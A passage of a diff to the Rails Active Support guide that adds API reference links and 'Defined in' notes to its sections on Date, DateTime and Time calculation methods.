-In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
 
-```ruby
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_month             # => Thu, 08 Apr 2010
-d.next_month             # => Tue, 08 Jun 2010
-```
-
-If such a day does not exist, the last day of the corresponding month is returned:
+[Date.current]: https://api.rubyonrails.org/classes/Date.html#method-c-current
+[Date.tomorrow]: https://api.rubyonrails.org/classes/Date.html#method-c-tomorrow
+[Date.yesterday]: https://api.rubyonrails.org/classes/Date.html#method-c-yesterday
+[DateAndTime::Calculations#future?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-future-3F
+[DateAndTime::Calculations#on_weekday?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-on_weekday-3F
+[DateAndTime::Calculations#on_weekend?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-on_weekend-3F
+[DateAndTime::Calculations#past?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-past-3F
 
-```ruby
-Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
-Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
-Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
-Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
-```
-
-`prev_month` is aliased to `last_month`.
-
-##### `prev_quarter`, `next_quarter`
-
-Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
-
-```ruby
-t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
-t.prev_quarter             # => Mon, 08 Feb 2010
-t.next_quarter             # => Sun, 08 Aug 2010
-```
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-```ruby
-Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
-Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
-Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
-Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
-```
-
-`prev_quarter` is aliased to `last_quarter`.
+#### Named Dates
 
 ##### `beginning_of_week`, `end_of_week`
 
-The methods `beginning_of_week` and `end_of_week` return the dates for the
+The methods [`beginning_of_week`][DateAndTime::Calculations#beginning_of_week] and [`end_of_week`][DateAndTime::Calculations#end_of_week] return the dates for the
 beginning and end of the week, respectively. Weeks are assumed to start on
 Monday, but that can be changed passing an argument, setting thread local
-`Date.beginning_of_week` or `config.beginning_of_week`.
+`Date.beginning_of_week` or [`config.beginning_of_week`][].
 
 ```ruby
 d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
@@ -3050,11 +3194,19 @@ d.end_of_week                # => Sun, 09 May 2010
 d.end_of_week(:sunday)       # => Sat, 08 May 2010
 ```
 
-`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
+`beginning_of_week` is aliased to [`at_beginning_of_week`][DateAndTime::Calculations#at_beginning_of_week] and `end_of_week` is aliased to [`at_end_of_week`][DateAndTime::Calculations#at_end_of_week].
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[`config.beginning_of_week`]: configuring.html#config-beginning-of-week
+[DateAndTime::Calculations#at_beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_week
+[DateAndTime::Calculations#at_end_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_week
+[DateAndTime::Calculations#beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_week
+[DateAndTime::Calculations#end_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_week
 
 ##### `monday`, `sunday`
 
-The methods `monday` and `sunday` return the dates for the previous Monday and
+The methods [`monday`][DateAndTime::Calculations#monday] and [`sunday`][DateAndTime::Calculations#sunday] return the dates for the previous Monday and
 next Sunday, respectively.
 
 ```ruby
@@ -3069,9 +3221,14 @@ d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
 d.sunday                     # => Sun, 16 Sep 2012
 ```
 
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#monday]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-monday
+[DateAndTime::Calculations#sunday]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-sunday
+
 ##### `prev_week`, `next_week`
 
-The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day.
+The method [`next_week`][DateAndTime::Calculations#next_week] receives a symbol with a day name in English (default is the thread local [`Date.beginning_of_week`][Date.beginning_of_week], or [`config.beginning_of_week`][], or `:monday`) and it returns the date corresponding to that day.
 
 ```ruby
 d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
@@ -3079,7 +3236,7 @@ d.next_week              # => Mon, 10 May 2010
 d.next_week(:saturday)   # => Sat, 15 May 2010
 ```
 
-The method `prev_week` is analogous:
+The method [`prev_week`][DateAndTime::Calculations#prev_week] is analogous:
 
 ```ruby
 d.prev_week              # => Mon, 26 Apr 2010
@@ -3087,13 +3244,20 @@ d.prev_week(:saturday)   # => Sat, 01 May 2010
 d.prev_week(:friday)     # => Fri, 30 Apr 2010
 ```
 
-`prev_week` is aliased to `last_week`.
+`prev_week` is aliased to [`last_week`][DateAndTime::Calculations#last_week].
 
 Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.
 
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[Date.beginning_of_week]: https://api.rubyonrails.org/classes/Date.html#method-c-beginning_of_week
+[DateAndTime::Calculations#last_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_week
+[DateAndTime::Calculations#next_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_week
+[DateAndTime::Calculations#prev_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_week
+
 ##### `beginning_of_month`, `end_of_month`
 
-The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
+The methods [`beginning_of_month`][DateAndTime::Calculations#beginning_of_month] and [`end_of_month`][DateAndTime::Calculations#end_of_month] return the dates for the beginning and end of the month:
 
 ```ruby
 d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
@@ -3101,11 +3265,25 @@ d.beginning_of_month     # => Sat, 01 May 2010
 d.end_of_month           # => Mon, 31 May 2010
 ```
 
-`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
+`beginning_of_month` is aliased to [`at_beginning_of_month`][DateAndTime::Calculations#at_beginning_of_month], and `end_of_month` is aliased to [`at_end_of_month`][DateAndTime::Calculations#at_end_of_month].
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#at_beginning_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_month
+[DateAndTime::Calculations#at_end_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_month
+[DateAndTime::Calculations#beginning_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_month
+[DateAndTime::Calculations#end_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_month
 
-##### `beginning_of_quarter`, `end_of_quarter`
+##### `quarter`, `beginning_of_quarter`, `end_of_quarter`
 
-The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
+The method [`quarter`][DateAndTime::Calculations#quarter] returns the quarter of the receiver's calendar year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.quarter                # => 2
+```
+
+The methods [`beginning_of_quarter`][DateAndTime::Calculations#beginning_of_quarter] and [`end_of_quarter`][DateAndTime::Calculations#end_of_quarter] return the dates for the beginning and end of the quarter of the receiver's calendar year:
 
 ```ruby
 d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
@@ -3113,11 +3291,19 @@ d.beginning_of_quarter   # => Thu, 01 Apr 2010
 d.end_of_quarter         # => Wed, 30 Jun 2010
 ```
 
-`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
+`beginning_of_quarter` is aliased to [`at_beginning_of_quarter`][DateAndTime::Calculations#at_beginning_of_quarter], and `end_of_quarter` is aliased to [`at_end_of_quarter`][DateAndTime::Calculations#at_end_of_quarter].
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-quarter
+[DateAndTime::Calculations#at_beginning_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_quarter
+[DateAndTime::Calculations#at_end_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_quarter
+[DateAndTime::Calculations#beginning_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_quarter
+[DateAndTime::Calculations#end_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_quarter
 
 ##### `beginning_of_year`, `end_of_year`
 
-The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
+The methods [`beginning_of_year`][DateAndTime::Calculations#beginning_of_year] and [`end_of_year`][DateAndTime::Calculations#end_of_year] return the dates for the beginning and end of the year:
 
 ```ruby
 d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
@@ -3125,20 +3311,27 @@ d.beginning_of_year      # => Fri, 01 Jan 2010
 d.end_of_year            # => Fri, 31 Dec 2010
 ```
 
-`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
+`beginning_of_year` is aliased to [`at_beginning_of_year`][DateAndTime::Calculations#at_beginning_of_year], and `end_of_year` is aliased to [`at_end_of_year`][DateAndTime::Calculations#at_end_of_year].
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#at_beginning_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_year
+[DateAndTime::Calculations#at_end_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_year
+[DateAndTime::Calculations#beginning_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_year
+[DateAndTime::Calculations#end_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_year
 
 #### Other Date Computations
 
 ##### `years_ago`, `years_since`
 
-The method `years_ago` receives a number of years and returns the same date those many years ago:
+The method [`years_ago`][DateAndTime::Calculations#years_ago] receives a number of years and returns the same date those many years ago:
 
 ```ruby
 date = Date.new(2010, 6, 7)
 date.years_ago(10) # => Wed, 07 Jun 2000
 ```
 
-`years_since` moves forward in time:
+[`years_since`][DateAndTime::Calculations#years_since] moves forward in time:
 
 ```ruby
 date = Date.new(2010, 6, 7)
@@ -3152,9 +3345,17 @@ Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
 Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
 ```
 
+[`last_year`][DateAndTime::Calculations#last_year] is short-hand for `#years_ago(1)`.
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#last_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_year
+[DateAndTime::Calculations#years_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-years_ago
+[DateAndTime::Calculations#years_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-years_since
+
 ##### `months_ago`, `months_since`
 
-The methods `months_ago` and `months_since` work analogously for months:
+The methods [`months_ago`][DateAndTime::Calculations#months_ago] and [`months_since`][DateAndTime::Calculations#months_since] work analogously for months:
 
 ```ruby
 Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
@@ -3168,18 +3369,31 @@ Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
 Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
 ```
 
-##### `weeks_ago`
+[`last_month`][DateAndTime::Calculations#last_month] is short-hand for `#months_ago(1)`.
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
 
-The method `weeks_ago` works analogously for weeks:
+[DateAndTime::Calculations#last_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_month
+[DateAndTime::Calculations#months_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-months_ago
+[DateAndTime::Calculations#months_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-months_since
+
+##### `weeks_ago`, `weeks_since`
+
+The method [`weeks_ago`][DateAndTime::Calculations#weeks_ago] and [`weeks_since`][DateAndTime::Calculations#week_since] work analogously for weeks:
 
 ```ruby
-Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
-Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+Date.new(2010, 5, 24).weeks_ago(1)   # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_since(2) # => Mon, 07 Jun 2010
 ```
 
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#weeks_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-weeks_ago
+[DateAndTime::Calculations#weeks_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-weeks_since
+
 ##### `advance`
 
-The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
+The most generic way to jump to other days is [`advance`][Date#advance]. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
 
 ```ruby
 date = Date.new(2010, 6, 6)
@@ -3189,25 +3403,13 @@ date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
 
 Note in the previous example that increments may be negative.
 
-To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
-
-The method `advance` advances first one month, and then one day, the result is:
-
-```ruby
-Date.new(2010, 2, 28).advance(months: 1, days: 1)
-# => Sun, 29 Mar 2010
-```
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
 
-While if it did it the other way around the result would be different:
-
-```ruby
-Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
-# => Thu, 01 Apr 2010
-```
+[Date#advance]: https://api.rubyonrails.org/classes/Date.html#method-i-advance
 
 #### Changing Components
 
-The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+The method [`change`][Date#change] allows you to get a new date which is the same as the receiver except for the given year, month, or day:
 
 ```ruby
 Date.new(2010, 12, 23).change(year: 2011, month: 11)
@@ -3221,9 +3423,13 @@ Date.new(2010, 1, 31).change(month: 2)
 # => ArgumentError: invalid date
 ```
 
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
+
+[Date#change]: https://api.rubyonrails.org/classes/Date.html#method-i-change
+
 #### Durations
 
-Durations can be added to and subtracted from dates:
+[`Duration`][ActiveSupport::Duration] objects can be added to and subtracted from dates:
 
 ```ruby
 d = Date.current
@@ -3241,174 +3447,183 @@ Date.new(1582, 10, 4) + 1.day
 # => Fri, 15 Oct 1582
 ```
 
+[ActiveSupport::Duration]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html
+
 #### Timestamps
 
 INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.
 
 ##### `beginning_of_day`, `end_of_day`
 
-The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00):
+The method [`beginning_of_day`][Date#beginning_of_day] returns a timestamp at the beginning of the day (00:00:00):
 
 ```ruby
 date = Date.new(2010, 6, 7)
 date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
 ```
 
-The method `end_of_day` returns a timestamp at the end of the day (23:59:59):
+The method [`end_of_day`][Date#end_of_day] returns a timestamp at the end of the day (23:59:59):
 
 ```ruby
 date = Date.new(2010, 6, 7)
 date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
 ```
 
-`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
+`beginning_of_day` is aliased to [`at_beginning_of_day`][Date#at_beginning_of_day], [`midnight`][Date#midnight], [`at_midnight`][Date#at_midnight].
+
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
+
+[Date#at_beginning_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-at_beginning_of_day
+[Date#at_midnight]: https://api.rubyonrails.org/classes/Date.html#method-i-at_midnight
+[Date#beginning_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-beginning_of_day
+[Date#end_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-end_of_day
+[Date#midnight]: https://api.rubyonrails.org/classes/Date.html#method-i-midnight
 
 ##### `beginning_of_hour`, `end_of_hour`
 
-The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
+The method [`beginning_of_hour`][DateTime#beginning_of_hour] returns a timestamp at the beginning of the hour (hh:00:00):
 
 ```ruby
 date = DateTime.new(2010, 6, 7, 19, 55, 25)
 date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
 ```
 
-The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59):
+The method [`end_of_hour`][DateTime#end_of_hour] returns a timestamp at the end of the hour (hh:59:59):
 
 ```ruby
 date = DateTime.new(2010, 6, 7, 19, 55, 25)
 date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
 ```
 
-`beginning_of_hour` is aliased to `at_beginning_of_hour`.
+`beginning_of_hour` is aliased to [`at_beginning_of_hour`][DateTime#at_beginning_of_hour].
+
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
 
 ##### `beginning_of_minute`, `end_of_minute`
 
-The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
+The method [`beginning_of_minute`][DateTime#beginning_of_minute] returns a timestamp at the beginning of the minute (hh:mm:00):
 
 ```ruby
 date = DateTime.new(2010, 6, 7, 19, 55, 25)
 date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
 ```
 
-The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59):
+The method [`end_of_minute`][DateTime#end_of_minute] returns a timestamp at the end of the minute (hh:mm:59):
 
 ```ruby
 date = DateTime.new(2010, 6, 7, 19, 55, 25)
 date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
 ```
 
-`beginning_of_minute` is aliased to `at_beginning_of_minute`.
+`beginning_of_minute` is aliased to [`at_beginning_of_minute`][DateTime#at_beginning_of_minute].
 
-INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute`, and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime#at_beginning_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_minute
+[DateTime#beginning_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_minute
+[DateTime#end_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_minute
 
 ##### `ago`, `since`
 
-The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+The method [`ago`][Date#ago] receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
 
 ```ruby
 date = Date.current # => Fri, 11 Jun 2010
 date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
 ```
 
-Similarly, `since` moves forward:
+Similarly, [`since`][Date#since] moves forward:
 
 ```ruby
 date = Date.current # => Fri, 11 Jun 2010
 date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
 ```
 
-#### Other Time Computations
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
 
-### Conversions
+[Date#ago]: https://api.rubyonrails.org/classes/Date.html#method-i-ago
+[Date#since]: https://api.rubyonrails.org/classes/Date.html#method-i-since
 
 Extensions to `DateTime`
 ------------------------
 
-WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.
+WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example [`seconds_since_midnight`][DateTime#seconds_since_midnight] might not return the real amount in such a day.
 
 ### Calculations
 
-NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
-
-The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
-
-```ruby
-yesterday
-tomorrow
-beginning_of_week (at_beginning_of_week)
-end_of_week (at_end_of_week)
-monday
-sunday
-weeks_ago
-prev_week (last_week)
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month (last_month)
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year (last_year)
-next_year
-on_weekday?
-on_weekend?
-```
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes.
 
 The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
 
-```ruby
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-ago
-since (in)
-```
+* [`beginning_of_day`][DateTime#beginning_of_day] / [`midnight`][DateTime#midnight] / [`at_midnight`][DateTime#at_midnight] / [`at_beginning_of_day`][DateTime#at_beginning_of_day]
+* [`end_of_day`][DateTime#end_of_day]
+* [`ago`][DateTime#ago]
+* [`since`][DateTime#since] / [`in`][DateTime#in]
 
-On the other hand, `advance` and `change` are also defined and support more options, they are documented below.
+On the other hand, [`advance`][DateTime#advance] and [`change`][DateTime#change] are also defined and support more options, they are documented below.
 
 The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:
 
-```ruby
-beginning_of_hour (at_beginning_of_hour)
-end_of_hour
-```
+* [`beginning_of_hour`][DateTime#beginning_of_hour] / [`at_beginning_of_hour`][DateTime#at_beginning_of_hour]
+* [`end_of_hour`][DateTime#end_of_hour]
+
+[DateTime#ago]: https://api.rubyonrails.org/classes/DateTime.html#method-i-ago
+[DateTime#at_beginning_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_day
+[DateTime#at_beginning_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_hour
+[DateTime#at_midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_midnight
+[DateTime#beginning_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_day
+[DateTime#beginning_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_hour
+[DateTime#end_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_day
+[DateTime#end_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_hour
+[DateTime#in]: https://api.rubyonrails.org/classes/DateTime.html#method-i-in
+[DateTime#midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-midnight
 
 #### Named Datetimes
 
 ##### `DateTime.current`
 
-Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
+Active Support defines [`DateTime.current`][DateTime.current] to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. The instance predicates [`past?`][DateAndTime::Calculations#past?] and [`future?`][DateAndTime::Calculations#future?] are defined relative to `DateTime.current`.
+
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime.current]: https://api.rubyonrails.org/classes/DateTime.html#method-c-current
 
 #### Other Extensions
 
 ##### `seconds_since_midnight`
 
-The method `seconds_since_midnight` returns the number of seconds since midnight:
+The method [`seconds_since_midnight`][DateTime#seconds_since_midnight] returns the number of seconds since midnight:
 
 ```ruby
 now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
 now.seconds_since_midnight # => 73596
 ```
 
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime#seconds_since_midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-seconds_since_midnight
+
 ##### `utc`
 
-The method `utc` gives you the same datetime in the receiver expressed in UTC.
+The method [`utc`][DateTime#utc] gives you the same datetime in the receiver expressed in UTC.
 
 ```ruby
 now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
 now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
 ```
 
-This method is also aliased as `getutc`.
+This method is also aliased as [`getutc`][DateTime#getutc].
+
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime#getutc]: https://api.rubyonrails.org/classes/DateTime.html#method-i-getutc
+[DateTime#utc]: https://api.rubyonrails.org/classes/DateTime.html#method-i-utc
 
 ##### `utc?`
 
-The predicate `utc?` says whether the receiver has UTC as its time zone:
+The predicate [`utc?`][DateTime#utc?] says whether the receiver has UTC as its time zone:
 
 ```ruby
 now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
@@ -3416,9 +3631,13 @@ now.utc?           # => false
 now.utc.utc?       # => true
 ```
 
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime#utc?]: https://api.rubyonrails.org/classes/DateTime.html#method-i-utc-3F
+
 ##### `advance`
 
-The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
+The most generic way to jump to another datetime is [`advance`][DateTime#advance]. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
 
 ```ruby
 d = DateTime.current
@@ -3427,7 +3646,7 @@ d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
 # => Tue, 06 Sep 2011 12:34:32 +0000
 ```
 
-This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
+This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling [`since`][DateTime#since] with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
 
 If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
 
@@ -3447,9 +3666,14 @@ d.advance(seconds: 1).advance(months: 1)
 
 WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
 
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime#advance]: https://api.rubyonrails.org/classes/DateTime.html#method-i-advance
+[DateTime#since]: https://api.rubyonrails.org/classes/DateTime.html#method-i-since
+
 #### Changing Components
 
-The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
+The method [`change`][DateTime#change] allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
 
 ```ruby
 now = DateTime.current
@@ -3479,9 +3703,13 @@ DateTime.current.change(month: 2, day: 30)
 # => ArgumentError: invalid date
 ```
 
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
+[DateTime#change]: https://api.rubyonrails.org/classes/DateTime.html#method-i-change
+
 #### Durations
 
-Durations can be added to and subtracted from datetimes:
+[`Duration`][ActiveSupport::Duration] objects can be added to and subtracted from datetimes:
 
 ```ruby
 now = DateTime.current
@@ -3504,53 +3732,9 @@ Extensions to `Time`
 
 ### Calculations
 
-NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
-
-Active Support adds to `Time` many of the methods available for `DateTime`:
-
-```ruby
-past?
-today?
-future?
-yesterday
-tomorrow
-seconds_since_midnight
-change
-advance
-ago
-since (in)
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-beginning_of_hour (at_beginning_of_hour)
-end_of_hour
-beginning_of_week (at_beginning_of_week)
-end_of_week (at_end_of_week)
-monday
-sunday
-weeks_ago
-prev_week (last_week)
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month (last_month)
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
